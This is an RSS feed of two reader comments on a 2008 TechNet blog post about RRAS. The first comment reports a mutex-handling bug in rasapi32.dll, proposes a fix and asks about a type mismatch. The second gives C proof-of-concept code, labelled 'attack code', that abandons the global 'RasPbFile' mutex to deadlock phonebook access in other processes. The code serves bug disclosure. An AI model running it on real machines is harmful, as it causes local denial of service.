<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.technet.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>How to secure the server running RRAS role after doing upgrade or fresh install of Windows server 2008</title><link>http://blogs.technet.com/rrasblog/archive/2008/03/14/securing-the-server-running-rras-role-after-doing-upgrade-or-fresh-install-of-windows-server-2008.aspx</link><description>Hello, As you know in Windows server 2008 (WS08) we have removed “Basic Firewall” functionality in RRAS which exist in Windows Server 2003 (WS03). This leads to following security implications which you should be carefully consider when configuring RRAS</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>re: Securing the server running RRAS role after doing upgrade or fresh install of Windows server 2008</title><link>http://blogs.technet.com/rrasblog/archive/2008/03/14/securing-the-server-running-rras-role-after-doing-upgrade-or-fresh-install-of-windows-server-2008.aspx#3034713</link><pubDate>Fri, 11 Apr 2008 06:30:01 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3034713</guid><dc:creator>yuguang</dc:creator><description>&lt;p&gt;Maybe this post should not post in here, but I don't know how to indicate it to correct people.&lt;/p&gt;
&lt;p&gt;Bug in rasapi32.dll&lt;/p&gt;
&lt;p&gt;In dllmain@rasapi32.dll (DLL_PROCESS_ATTACH), it opens a global mutex &amp;nbsp;which names &amp;quot;RasPbFile&amp;quot; and closes it in dllmain(DLL_PROCESS_DETACH).&lt;/p&gt;
&lt;p&gt;The dll use the mutex to sync the read/write operations of the phone book file. &amp;nbsp;In function ReadPhonebookFileEx and WritePhonebookFile.&lt;/p&gt;
&lt;p&gt;In both these two functions, the code look like:&lt;/p&gt;
&lt;p&gt;if(WaitforSingleObject(g_hmutexPb,INFINITE)==0)&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;Read/Write Phone book file;&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;ReleaseMutex(hmutexPb);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;else&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;But it's wrong, in MSDN, I found the following description:&lt;/p&gt;
&lt;p&gt;If a thread terminates without releasing its ownership of a mutex object, the mutex object is considered to be abandoned. A waiting thread can acquire ownership of an abandoned mutex object, but the wait function will return WAIT_ABANDONED to indicate that the mutex object is abandoned.&lt;/p&gt;
&lt;p&gt;So if one application use rasapi32.dll and terminated for some reason, the mutex maybe abandoned, which would cause the following Read/WritePhonebookFile (in another process) acquire the mutex, and DONOT release. So deadlock...&lt;/p&gt;
&lt;p&gt;The correct code maybe:&lt;/p&gt;
&lt;p&gt;DWORD WaitRet = WaitforSingleObject(g_hmutexPb,INFINITE);&lt;/p&gt;
&lt;p&gt;if(WaitRet==0 || WaitRet == WAIT_ABANDONED)&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;Read/Write Phone book file;&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;ReleaseMutex(hmutexPb);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;else&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;I don't know if the bug exist in all windows platform. I only check it in windows 2k8 x64 enterprise edition. But I think it should exist in all windows platform.&lt;/p&gt;
&lt;p&gt;Another question is, from MSDN, the stuct RASDIAL_PARAMS&lt;/p&gt;
&lt;p&gt;defines as following:&lt;/p&gt;
&lt;p&gt;typedef struct _RASDIALPARAMS { &lt;/p&gt;
&lt;p&gt; &amp;nbsp;DWORD &amp;nbsp; &amp;nbsp; dwSize; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szEntryName[RAS_MaxEntryName + 1]; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szPhoneNumber[RAS_MaxPhoneNumber + 1]; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szCallbackNumber[RAS_MaxCallbackNumber + 1]; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szUserName[UNLEN + 1]; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szPassword[PWLEN + 1]; &lt;/p&gt;
&lt;p&gt; &amp;nbsp;TCHAR &amp;nbsp; &amp;nbsp; szDomain[DNLEN + 1] ; &lt;/p&gt;
&lt;p&gt;#if (WINVER &amp;gt;= 0x401)&lt;/p&gt;
&lt;p&gt; &amp;nbsp;DWORD &amp;nbsp; &amp;nbsp; dwSubEntry;&lt;/p&gt;
&lt;p&gt; &amp;nbsp;ULONG_PTR dwCallbackId;&lt;/p&gt;
&lt;p&gt;#endif&lt;/p&gt;
&lt;p&gt;} RASDIALPARAMS;&lt;/p&gt;
&lt;p&gt;the dwCallbackId is ULONG_PTR which means in x64 platform, it's uint64.&lt;/p&gt;
&lt;p&gt;but in RasDialFunc2:&lt;/p&gt;
&lt;p&gt;DWORD CALLBACK RasDialFunc2(&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwCallbackId,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwSubEntry,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; HRASCONN hrasconn,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; UINT unMsg,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; RASCONNSTATE rascs,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwError,&lt;/p&gt;
&lt;p&gt; &amp;nbsp;[in] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwExtendedError&lt;/p&gt;
&lt;p&gt;);&lt;/p&gt;
&lt;p&gt;the dwCallbaackId is DWORD which means it's always uint32.&lt;/p&gt;
&lt;p&gt;Why? &lt;/p&gt;
</description></item><item><title>re: Securing the server running RRAS role after doing upgrade or fresh install of Windows server 2008</title><link>http://blogs.technet.com/rrasblog/archive/2008/03/14/securing-the-server-running-rras-role-after-doing-upgrade-or-fresh-install-of-windows-server-2008.aspx#3034780</link><pubDate>Fri, 11 Apr 2008 07:58:13 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3034780</guid><dc:creator>yuguang</dc:creator><description>&lt;p&gt;The attack code looks like:&lt;/p&gt;
&lt;p&gt;#include &amp;quot;stdafx.h&amp;quot;&lt;/p&gt;
&lt;p&gt;#include &amp;quot;windows.h&amp;quot; &lt;/p&gt;
&lt;p&gt;HANDLE gMutex = NULL; &lt;/p&gt;
&lt;p&gt;DWORD WINAPI Worker(void*)&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;// deadlock&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;DWORD Wait = WaitForSingleObject(gMutex,INFINITE);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return Wait;&lt;/p&gt;
&lt;p&gt;} &lt;/p&gt;
&lt;p&gt;int _tmain(int argc, _TCHAR* argv[])&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;gMutex = OpenMutex(SYNCHRONIZE,FALSE,&amp;quot;RasPbFile&amp;quot;); &lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;if(argc == 2 &amp;amp;&amp;amp; stricmp(argv[1],&amp;quot;ABANDONED&amp;quot;)==0)&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;{&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;DWORD Wait = WaitForSingleObject(gMutex,INFINITE);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;CloseHandle(gMutex);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;exit(0); // mutex to be ABANDONED state&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;} &lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;DWORD Wait = WaitForSingleObject(gMutex,INFINITE);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;if(Wait == 0) ReleaseMutex(gMutex); // if Mutex state is ABANDONED, the Wait must be WAIT_ABANDONED so that skip the ReleaseMutex &lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;HANDLE Thread = CreateThread(NULL,0,Worker,NULL,0,NULL);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;DWORD Wait2 = WaitForSingleObject(Thread,INFINITE);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;CloseHandle(gMutex);&lt;/p&gt;
&lt;p&gt; &amp;nbsp; &amp;nbsp;return 0;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
</description></item></channel></rss>